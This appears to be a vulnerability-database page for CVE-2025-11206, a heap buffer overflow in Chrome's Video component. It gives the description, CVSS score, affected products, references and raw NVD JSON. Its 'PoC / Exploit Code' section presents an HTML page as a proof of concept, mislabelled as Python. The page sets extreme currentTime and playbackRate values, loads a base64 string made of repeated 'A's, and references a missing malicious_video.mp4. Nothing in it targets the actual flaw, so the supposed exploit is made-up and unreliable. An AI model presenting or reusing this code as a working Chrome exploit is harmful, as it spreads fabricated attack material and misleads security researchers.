CVE-2025-11206

Description

Heap buffer overflow in Video in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11206 PoC - Heap Buffer Overflow in Video Component -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11206 PoC</title>
</head>
<body>
    <h1>CVE-2025-11206 Heap Buffer Overflow PoC</h1>
    <p>This PoC demonstrates the heap buffer overflow in Chrome Video component.</p>
    <video id="target" controls>
        <!-- Malformed video data triggers overflow -->
        <source src="malicious_video.mp4" type="video/mp4">
    </video>
    <script>
        // Trigger the vulnerable code path
        const video = document.getElementById('target');
        
        // Attempt to trigger buffer overflow by manipulating video properties
        video.addEventListener('loadedmetadata', function() {
            console.log('Video metadata loaded');
            // Malformed manipulation that could trigger the overflow
            video.currentTime = Number.MAX_SAFE_INTEGER;
            video.playbackRate = Infinity;
        });
        
        // Create and inject malicious video element
        const malVideo = document.createElement('video');
        malVideo.src = 'data:video/mp4;base64,' + 'A'.repeat(100000);
        document.body.appendChild(malVideo);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11206
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11206
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11206/
[4] VulDB https://vuldb.com/cve/CVE-2025-11206
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/444755026

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11206", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:38.477", "lastModified": "2025-11-13T15:30:54.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in Video in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/444755026", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}